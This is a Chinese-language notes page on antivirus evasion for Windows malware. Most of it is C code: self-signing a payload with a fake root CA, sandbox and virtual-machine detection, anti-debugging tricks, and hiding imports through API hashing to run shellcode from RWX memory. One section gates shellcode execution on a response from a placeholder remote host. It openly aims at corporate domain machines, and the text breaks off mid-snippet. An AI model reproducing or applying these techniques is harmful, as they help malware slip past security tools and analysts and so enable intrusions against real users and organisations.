免杀基础知识
# 免杀技巧
[TOC]
# 签名二进制文件
makecert -r -pe -n "CN=Malwr CA" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv MalwrCA.pvk MalwrCA.cer
certutil -user -addstore Root MalwrCA.cer
makecert -pe -n "CN=Malwr Cert" -a sha256 -cy end -sky signature -ic MalwrCA.cer -iv MalwrCA.pvk -sv MalwrCert.pvk MalwrCert.cer
pvk2pfx -pvk MalwrCert.pvk -spc MalwrCert.cer -pfx MalwrCert.pfx
signtool sign /v /f MalwrCert.pfx /t http://timestamp.verisign.com/scripts/timstamp.dll Malware.exe
2
3
4
5
这几个工具在Windows SDK里面
# 更改依赖项
# 动态查杀
# WD有沙箱会对木马进行动态查杀,通过沙箱识别来进行绕过。
// check CPU
SYSTEM_INFO systemInfo;
GetSystemInfo(&systemInfo);
DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
if (numberOfProcessors < 2) return false;
// check RAM
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = sizeof(memoryStatus);
GlobalMemoryStatusEx(&memoryStatus);
DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;
if (RAMMB < 2048) return false;
// check HDD
HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
if (diskSizeGB < 100) return false;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Mac地址
DWORD adaptersListSize = 0;
GetAdaptersAddresses(AF_UNSPEC, 0, 0, 0, &adaptersListSize);
IP_ADAPTER_ADDRESSES* pAdaptersAddresses = (IP_ADAPTER_ADDRESSES*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, adaptersListSize);
if (pAdaptersAddresses)
{
GetAdaptersAddresses(AF_UNSPEC, 0, 0, pAdaptersAddresses, &adaptersListSize);
char mac[6] = { 0 };
while (pAdaptersAddresses)
{
if (pAdaptersAddresses->PhysicalAddressLength == 6)
{
memcpy(mac, pAdaptersAddresses->PhysicalAddress, 6);
if (!memcmp({ "\x08\x00\x27" }, mac, 3)) return false;
}
pAdaptersAddresses = pAdaptersAddresses->Next;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 虚拟设备检测
OBJECT_ATTRIBUTES objectAttributes;
UNICODE_STRING uDeviceName;
RtlSecureZeroMemory(&uDeviceName, sizeof(uDeviceName));
RtlInitUnicodeString(&uDeviceName, L"\\Device\\VBoxGuest"); // or pipe: L"\\??\\pipe\\VBoxTrayIPC-<username>"
InitializeObjectAttributes(&objectAttributes, &uDeviceName, OBJ_CASE_INSENSITIVE, 0, NULL);
HANDLE hDevice = NULL;
IO_STATUS_BLOCK ioStatusBlock;
NTSTATUS status = NtCreateFile(&hDevice, GENERIC_READ, &objectAttributes, &ioStatusBlock, NULL, 0, 0, FILE_OPEN, 0, NULL, 0);
if (NT_SUCCESS(status)) return false;
2
3
4
5
6
7
8
9
# HDD Name
HDEVINFO hDeviceInfo = SetupDiGetClassDevs(&GUID_DEVCLASS_DISKDRIVE, 0, 0, DIGCF_PRESENT);
SP_DEVINFO_DATA deviceInfoData;
deviceInfoData.cbSize = sizeof(SP_DEVINFO_DATA);
SetupDiEnumDeviceInfo(hDeviceInfo, 0, &deviceInfoData);
DWORD propertyBufferSize;
SetupDiGetDeviceRegistryPropertyW(hDeviceInfo, &deviceInfoData, SPDRP_FRIENDLYNAME, NULL, NULL, 0, &propertyBufferSize);
PWSTR HDDName = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, propertyBufferSize);
SetupDiGetDeviceRegistryPropertyW(hDeviceInfo, &deviceInfoData, SPDRP_FRIENDLYNAME, NULL, (PBYTE)HDDName, propertyBufferSize, NULL);
CharUpperW(HDDName);
if (wcsstr(HDDName, L"VBOX")) return false;
2
3
4
5
6
7
8
9
10
# VM 特定文件和注册表检查
// check files
WIN32_FIND_DATAW findFileData;
if (FindFirstFileW(L"C:\\Windows\\System32\\VBox*.dll", &findFileData) != INVALID_HANDLE_VALUE) return false;
// check registry key
HKEY hkResult;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Services\\VBoxSF", 0, KEY_QUERY_VALUE, &hkResult) == ERROR_SUCCESS) return false;
2
3
4
5
6
7
# 文件名称被AV更改
wchar_t currentProcessPath[MAX_PATH + 1];
GetModuleFileNameW(NULL, currentProcessPath, MAX_PATH + 1);
CharUpperW(currentProcessPath);
if (!wcsstr(currentProcessPath, L"C:\\USERS\\PUBLIC\\")) return false;
if (!wcsstr(currentProcessPath, L"MALWARE.EXE")) return false;
2
3
4
5
# 被父进程启动
DWORD GetParentPID(DWORD pid)
{
DWORD ppid = 0;
PROCESSENTRY32W processEntry = { 0 };
processEntry.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32FirstW(hSnapshot, &processEntry))
{
do
{
if (processEntry.th32ProcessID == pid)
{
ppid = processEntry.th32ParentProcessID;
break;
}
} while (Process32NextW(hSnapshot, &processEntry));
}
CloseHandle(hSnapshot);
return ppid;
}
void main()
{
DWORD parentPid = GetParentPID(GetCurrentProcessId());
WCHAR parentName[MAX_PATH + 1];
DWORD dwParentName = MAX_PATH;
HANDLE hParent = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, parentPid);
QueryFullProcessImageNameW(hParent, 0, parentName, &dwParentName); // another way to get process name is to use 'Toolhelp32Snapshot'
CharUpperW(parentName);
if (wcsstr(parentName, L"WINDBG.EXE")) return;
wprintf_s(L"Now hacking...\n");
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 枚举调试工具抓包工具
PROCESSENTRY32W processEntry = { 0 };
processEntry.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
WCHAR processName[MAX_PATH + 1];
if (Process32FirstW(hSnapshot, &processEntry))
{
do
{
StringCchCopyW(processName, MAX_PATH, processEntry.szExeFile);
CharUpperW(processName);
if (wcsstr(processName, L"WIRESHARK.EXE")) exit(0);
} while (Process32NextW(hSnapshot, &processEntry));
}
wprintf_s(L"Now hacking...\n");
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 枚举每个进程的地址空间中加载的模块,并检查不需要的名称
DWORD runningProcessesIDs[1024];
DWORD runningProcessesBytes;
EnumProcesses(runningProcessesIDs, sizeof(runningProcessesIDs), &runningProcessesBytes);
for (int i = 0; i < runningProcessesBytes / sizeof(DWORD); i++)
{
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, runningProcessesIDs[i]);
if (!hProcess) continue;
HMODULE processModules[1024];
DWORD processModulesBytes;
int s1 = EnumProcessModules(hProcess, processModules, sizeof(processModules), &processModulesBytes);
for (int j = 0; j < processModulesBytes / sizeof(HMODULE); j++)
{
WCHAR moduleName[MAX_PATH + 1];
GetModuleFileNameExW(hProcess, processModules[j], moduleName, MAX_PATH);
CharUpperW(moduleName);
if (wcsstr(moduleName, L"DBGHELP.DLL")) exit(0);
}
}
wprintf_s(L"Now hacking...\n");
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 检查窗口名称,并将其与表示存在常见恶意软件分析工具的名称进行比较
BOOL CALLBACK EnumWindowsProc(HWND hWindow, LPARAM parameter)
{
WCHAR windowTitle[1024];
GetWindowTextW(hWindow, windowTitle, sizeof(windowTitle));
CharUpperW(windowTitle);
if (wcsstr(windowTitle, L"SYSINTERNALS")) *(PBOOL)parameter = true;
return true;
}
void main()
{
bool debugged = false;
EnumWindows(EnumWindowsProc, (LPARAM)(&debugged));
if (debugged) return;
wprintf_s(L"Now hacking...\n");
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# check user name-computer name
//check computer name
DWORD computerNameLength;
wchar_t computerName[MAX_COMPUTERNAME_LENGTH + 1];
GetComputerNameW(computerName, &computerNameLength);
CharUpperW(computerName);
if (wcsstr(computerName, L"DESKTOP-")) return false;
//check user name
DWORD userNameLength;
wchar_t userName[UNLEN + 1];
GetUserNameW(userName, &userNameLength);
CharUpperW(userName);
if (wcsstr(userName, L"ADMIN")) return false;
2
3
4
5
6
7
8
9
10
11
12
13
# 由于我们通常针对公司环境,因此我们可以假设用户的计算机是域的成员。让我们检查机器的域加入状态:
PWSTR domainName;
NETSETUP_JOIN_STATUS status;
NetGetJoinInformation(NULL, &domainName, &status);
if (status != NetSetupDomainName) return false;
2
3
4
# 分辨率检测
bool CALLBACK MyCallback(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lpRect, LPARAM data)
{
MONITORINFO monitorInfo;
monitorInfo.cbSize = sizeof(MONITORINFO);
GetMonitorInfoW(hMonitor, &monitorInfo);
int xResolution = monitorInfo.rcMonitor.right - monitorInfo.rcMonitor.left;
int yResolution = monitorInfo.rcMonitor.top - monitorInfo.rcMonitor.bottom;
if (xResolution < 0) xResolution = -xResolution;
if (yResolution < 0) yResolution = -yResolution;
if ((xResolution != 1920 && xResolution != 2560 && xResolution != 1440)
|| (yResolution != 1080 && yResolution != 1200 && yResolution != 1600 && yResolution != 900))
{
*((BOOL*)data) = true;
}
return true;
}
void main()
{
MONITORENUMPROC pMyCallback = (MONITORENUMPROC)MyCallback;
int xResolution = GetSystemMetrics(SM_CXSCREEN);
int yResolution = GetSystemMetrics(SM_CYSCREEN);
if (xResolution < 1000 && yResolution < 1000) return false;
int numberOfMonitors = GetSystemMetrics(SM_CMONITORS);
bool sandbox = false;
EnumDisplayMonitors(NULL, NULL, pMyCallback, (LPARAM)(&sandbox));
if (sandbox) return;
wprintf_s(L"Now hacking...\n");
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# USB存储检测
HKEY hKey;
DWORD mountedUSBDevicesCount;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Enum\\USBSTOR", 0, KEY_READ, &hKey);
RegQueryInfoKey(hKey, NULL, NULL, NULL, &mountedUSBDevicesCount, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (mountedUSBDevicesCount < 1) return false;
2
3
4
5
# 时区检测
SetThreadLocale(MAKELCID(MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US), SORT_DEFAULT));
DYNAMIC_TIME_ZONE_INFORMATION dynamicTimeZoneInfo;
GetDynamicTimeZoneInformation(&dynamicTimeZoneInfo);
wchar_t timeZoneName[128 + 1];
StringCchCopyW(timeZoneName, 128, dynamicTimeZoneInfo.TimeZoneKeyName);
CharUpperW(timeZoneName);
if (!wcsstr(timeZoneName, L"CENTRAL EUROPEAN STANDARD TIME")) return false;
2
3
4
5
6
7
# 语言检测
# 检测自动化分析
# 网络连接
HINTERNET hSession = WinHttpOpen(L"Mozilla 5.0", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnection = WinHttpConnect(hSession, L"my.domain.or.ip", INTERNET_DEFAULT_HTTP_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnection, L"GET", L"test", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
BOOL status = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
if (!status) return false;
2
3
4
5
6
收到特定resp 执行shellcode
HINTERNET hSession = WinHttpOpen(L"Mozilla 5.0", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnection = WinHttpConnect(hSession, L"my.domain.or.ip", INTERNET_DEFAULT_HTTP_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnection, L"GET", L"test", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, 0);
DWORD responseLength;
WinHttpQueryDataAvailable(hRequest, &responseLength);
PVOID response = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, responseLength + 1);
WinHttpReadData(hRequest, response, responseLength, &responseLength);
if (atoi((PSTR)response) != 1337) return false;
2
3
4
5
6
7
8
9
10
# 用户交互
POINT currentMousePosition;
POINT previousMousePosition;
GetCursorPos(&previousMousePosition);
double mouseDistance = 0;
while (true)
{
GetCursorPos(¤tMousePosition);
mouseDistance += sqrt(
pow(currentMousePosition.x - previousMousePosition.x, 2) +
pow(currentMousePosition.y - previousMousePosition.y, 2)
);
Sleep(100);
previousMousePosition = currentMousePosition;
if (mouseDistance > 20000) break;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 最近文档数目
PWSTR recentFolder = NULL;
SHGetKnownFolderPath(FOLDERID_Recent, 0, NULL, &recentFolder);
wchar_t recentFolderFiles[MAX_PATH + 1] = L"";
StringCbCatW(recentFolderFiles, MAX_PATH, recentFolder);
StringCbCatW(recentFolderFiles, MAX_PATH, L"\\*");
int numberOfRecentFiles = 0;
WIN32_FIND_DATAW findFileData;
HANDLE hFind = FindFirstFileW(recentFolderFiles, &findFileData);
if (hFind != INVALID_HANDLE_VALUE)
{
do
{
numberOfRecentFiles++;
} while (FindNextFileW(hFind, &findFileData));
}
if (numberOfRecentFiles >= 2) numberOfRecentFiles-=2; //exclude '.' and '..'
if (numberOfRecentFiles < 20) return false;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 进程数
DWORD runningProcessesIDs[1024];
DWORD runningProcessesCountBytes;
DWORD runningProcessesCount;
EnumProcesses(runningProcessesIDs, sizeof(runningProcessesIDs), &runningProcessesCountBytes);
runningProcessesCount = runningProcessesCountBytes / sizeof(DWORD);
if (runningProcessesCount < 50) return false;
2
3
4
5
6
# 系统运行时间
ULONGLONG uptime = GetTickCount64() / 1000;
if (uptime < 1200) return false; //20 minutes
2
# 延迟执行
ULONGLONG uptimeBeforeSleep = GetTickCount64();
typedef NTSTATUS(WINAPI *PNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
PNtDelayExecution pNtDelayExecution = (PNtDelayExecution)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtDelayExecution");
LARGE_INTEGER delay;
delay.QuadPart = -10000 * 100000; // 100 seconds
pNtDelayExecution(FALSE, &delay);
ULONGLONG uptimeAfterSleep = GetTickCount64();
if ((uptimeAfterSleep - uptimeBeforeSleep) < 100000) return false;
2
3
4
5
6
7
8
# 内核用户共享数据
一些复杂的沙箱可能会同时钩住两个Sleep功能(甚至是内核模式ZwDelayExecution;但是,我认为如今,内核钩子需要管理程序级别的访问)和GetTickCount64(或内核模式KeQueryTickCount)。我们可以使用KUSER_SHARED_DATA系统内核与用户模式(当然是只读模式)共享的结构,其中包含有关“滴答计数”的信息。这种结构它始终位于存储器(0x7ffe0000)中的同一地址。实际的系统正常运行时间(KSYSTEM_TIME结构)存储在偏移量0x320中。我们可以从系统的内存中读取它,并用来检查与滴答计数相关的功能是否被沙箱操纵:(谷歌翻译)
Sleep(1000000);
ULONG *PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
LONG *PUserSharedData_High1Time = (PLONG)0x7ffe0324;
ULONG *PUserSharedData_LowPart = (PULONG)0x7ffe0320;
DWORD time = GetTickCount64();
DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
if ((time - kernelTime) > 100 && (kernelTime - time) > 100) return false;
2
3
4
5
6
7
8
# 函数Hook
// manually load the dll
HANDLE dllFile = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dllFileSize = GetFileSize(dllFile, NULL);
HANDLE hDllFileMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
HANDLE pDllFileMappingBase = MapViewOfFile(hDllFileMapping, FILE_MAP_READ, 0, 0, 0);
CloseHandle(dllFile);
// analyze the dll
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pDllFileMappingBase;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)pDllFileMappingBase + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pDllFileMappingBase + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfNameOrdinals);
// find the original function code
PVOID pNtCreateThreadExOriginal = NULL;
for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
PCSTR pFunctionName = (PSTR)((PBYTE)pDllFileMappingBase + pAddressOfNames[i]);
if (!strcmp(pFunctionName, "NtCreateThreadEx"))
{
pNtCreateThreadExOriginal = (PVOID)((PBYTE)pDllFileMappingBase + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
break;
}
}
// compare functions
PVOID pNtCreateThreadEx = GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx");
if (memcmp(pNtCreateThreadEx, pNtCreateThreadExOriginal, 16)) return false;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 直接系统调用绕过 AV-ApiHook
https://github.com/jthuraisamy/SysWhispers/
# 反调试
if (IsDebuggerPresent()) return;
// same check
PPEB pPEB = (PPEB)__readgsqword(0x60);
if (pPEB->BeingDebugged) return;
2
3
4
5
BOOL isDebuggerPresent = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebuggerPresent);
if (isDebuggerPresent) return;
// same check
typedef NTSTATUS(WINAPI *PNtQueryInformationProcess)(IN HANDLE, IN PROCESSINFOCLASS, OUT PVOID, IN ULONG, OUT PULONG);
PNtQueryInformationProcess pNtQueryInformationProcess = (PNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");
DWORD64 isDebuggerPresent2 = 0;
pNtQueryInformationProcess(GetCurrentProcess(), ProcessDebugPort, &isDebuggerPresent2, sizeof DWORD64, NULL);
if (isDebuggerPresent2) return;
2
3
4
5
6
7
8
9
10
# 通过检查代码中的更改来检测断点
#pragma comment(linker, "/INCREMENTAL:YES")
DWORD CalculateFunctionChecksum(PUCHAR functionStart, PUCHAR functionEnd)
{
DWORD checksum = 0;
while(functionStart < functionEnd)
{
checksum += *functionStart;
functionStart++;
}
return checksum;
}
#pragma auto_inline(off)
VOID CrucialFunction()
{
int x = 0;
x += 2;
}
VOID AfterCrucialFunction()
{
};
#pragma auto_inline(on)
void main()
{
DWORD originalChecksum = 3429;
DWORD checksum = CalculateFunctionChecksum((PUCHAR)CrucialFunction, (PUCHAR)AfterCrucialFunction);
if (checksum != originalChecksum) return;
wprintf_s(L"Now hacking...\n");
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 通过检查内存页权限来检测断点
BOOL debugged = false;
PSAPI_WORKING_SET_INFORMATION workingSetInfo;
QueryWorkingSet(GetCurrentProcess(), &workingSetInfo, sizeof workingSetInfo);
DWORD requiredSize = sizeof PSAPI_WORKING_SET_INFORMATION * (workingSetInfo.NumberOfEntries + 20);
PPSAPI_WORKING_SET_INFORMATION pWorkingSetInfo = (PPSAPI_WORKING_SET_INFORMATION)VirtualAlloc(0, requiredSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
BOOL s = QueryWorkingSet(GetCurrentProcess(), pWorkingSetInfo, requiredSize);
for (int i = 0; i < pWorkingSetInfo->NumberOfEntries; i++)
{
PVOID physicalAddress = (PVOID)(pWorkingSetInfo->WorkingSetInfo[i].VirtualPage * 4096);
MEMORY_BASIC_INFORMATION memoryInfo;
VirtualQuery((PVOID)physicalAddress, &memoryInfo, sizeof memoryInfo);
if (memoryInfo.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY))
{
if ((pWorkingSetInfo->WorkingSetInfo[i].Shared == 0) || (pWorkingSetInfo->WorkingSetInfo[i].ShareCount == 0))
{
debugged = true;
break;
}
}
}
if (debugged) return;
wprintf_s(L"Now hacking...\n");
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 异常处理程序检测调试
BOOL isDebugged = TRUE;
LONG WINAPI CustomUnhandledExceptionFilter(PEXCEPTION_POINTERS pExceptionPointers)
{
isDebugged = FALSE;
return EXCEPTION_CONTINUE_EXECUTION;
}
void main()
{
PTOP_LEVEL_EXCEPTION_FILTER previousUnhandledExceptionFilter = SetUnhandledExceptionFilter(CustomUnhandledExceptionFilter);
RaiseException(EXCEPTION_FLT_DIVIDE_BY_ZERO, 0, 0, NULL);
SetUnhandledExceptionFilter(previousUnhandledExceptionFilter);
if (isDebugged) return;
wprintf_s(L"Now hacking...\n");
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 自调试
if (!DebugActiveProcess(pid))
{
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
TerminateProcess(hProcess, 0);
}
2
3
4
5
# 执行时间
我们可以检查某个指令块之前和之后的系统时间,并假设测得的经过时间应小于某个值。如果正在分析应用程序,则可能在该指令块中设置了断点。如果这样,执行时间将超过假定的时间段。
int t1 = GetTickCount64();
Hack(); // should take less than 5 seconds
int t2 = GetTickCount64();
if (((t2 - t1) / 1000) > 5) return;
wprintf_s(L"Now hacking more...\n");
2
3
4
5
6
# 为逆向工程师增加难度
# 执行路径回调
VOID CALLBACK MyCallback(DWORD errorCode, DWORD bytesTransferred, POVERLAPPED pOverlapped)
{
MessageBoxW(NULL, L"Catch me if you can", L"xD", 0);
}
void main()
{
HANDLE hFile = CreateFileW(L"C:\\Windows\\win.ini", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
PVOID fileBuffer = VirtualAlloc(0, 64, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
OVERLAPPED overlapped = {0};
ReadFileEx(hFile, fileBuffer, 32, &overlapped, MyCallback);
WaitForSingleObjectEx(hFile, INFINITE, true); // wait for the asynchronous operation to finish
wprintf_s(L"Already pwned...\n");
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# TLS(线程本地存储)回调
TLS(线程本地存储)回调是一种Windows机制,允许在进程以及线程启动和终止上执行任意代码。它可以用来在main功能(或其他入口点)之前运行一些反调试代码。但是,大多数调试器会自动在断点之前main(“系统断点”- ntdll.LdrpDoDebuggerBreak)甚至在回调的开头放置断点。无论如何,回调实现需要某些链接器指令:
void NTAPI TlsCallback(PVOID DllHandle, DWORD dwReason, PVOID)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
if (CheckIfDebugged()) exit(0);
}
}
#pragma comment (linker, "/INCLUDE:_tls_used")
#pragma comment (linker, "/INCLUDE:tls_callback_function")
#pragma const_seg(".CRT$XLA")
EXTERN_C const PIMAGE_TLS_CALLBACK tls_callback_function = TlsCallback;
#pragma const_seg()
void main()
{
wprintf_s(L"Now hacking...\n");
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 阻止用户输入-需要admin
BlockInput(true);
# 静态分析和混淆
# PE
PE头包含了很多信息
headers, sections headers and content (code, resources etc.),
分析人员仅通过检查可执行文件(无需运行它)就可以提取大量有用的信息。这包括代码,导入的函数,硬编码的字符串和其他数据。
# 更改hash
- 改图标
- 加入版本信息
# 通过动态WinAPI函数解析来隐藏导入
导入地址表(IAT)存储有关应用程序使用的库和函数的信息。操作系统会在可执行文件启动时动态加载它们。非常方便(这正是Windows的工作方式),但是表内容可以提供许多有关程序功能的信息。例如存储器操作和线程操作功能(VirtualAlloc,VirtualProcect,CreateRemoteThread)可以指示该应用正在执行某种代码注入的。WSASocket通常由绑定外壳和反向外壳以及SetWindowsHookEx键盘记录程序使用。
为了隐藏这些信息(从静态分析中),我们可以动态地解析某些API函数。我们甚至可以使用syscalls(请参阅userland钩子规避)。现在,让我们仅使用GetModuleHandle获取要kernel32.dll加载到内存中的句柄,然后使用以下命令查找必要的功能GetProcAddress:
https://github.com/lucasg/Dependencies可以查看PE信息
typedef PVOID(WINAPI *PVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD);
typedef PVOID(WINAPI *PCreateThread)(PSECURITY_ATTRIBUTES, SIZE_T, PTHREAD_START_ROUTINE, PVOID, DWORD, PDWORD);
typedef PVOID(WINAPI *PWaitForSingleObject)(HANDLE, DWORD);
void main()
{
HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
PVirtualAlloc funcVirtualAlloc = (PVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc");
PCreateThread funcCreateThread = (PCreateThread)GetProcAddress(hKernel32, "CreateThread");
PWaitForSingleObject funcWaitForSingleObject = (PWaitForSingleObject)GetProcAddress(hKernel32, "WaitForSingleObject");
unsigned char shellcode[] = "\\xfc\\x48\\x83 (...) ";
PVOID shellcode_exec = funcVirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = funcCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
funcWaitForSingleObject(hThread, INFINITE);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# API Hashing
typedef PVOID(WINAPI *PVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD);
typedef PVOID(WINAPI *PCreateThread)(PSECURITY_ATTRIBUTES, SIZE_T, PTHREAD_START_ROUTINE, PVOID, DWORD, PDWORD);
typedef PVOID(WINAPI *PWaitForSingleObject)(HANDLE, DWORD);
unsigned int hash(const char *str)
{
unsigned int hash = 7759;
int c;
while (c = *str++)
hash = ((hash << 5) + hash) + c;
return hash;
}
void main()
{
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
PVirtualAlloc funcVirtualAlloc;
PCreateThread funcCreateThread;
PWaitForSingleObject funcWaitForSingleObject;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
if (hash(pFunctionName) == 0x80fa57e1)
{
funcVirtualAlloc = (PVirtualAlloc)((PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
}
if (hash(pFunctionName) == 0xc7d73c9b)
{
funcCreateThread = (PCreateThread)((PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
}
if (hash(pFunctionName) == 0x50c272c4)
{
funcWaitForSingleObject = (PWaitForSingleObject)((PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
}
}
unsigned char shellcode[] = "\\xfc\\x48\\x83";
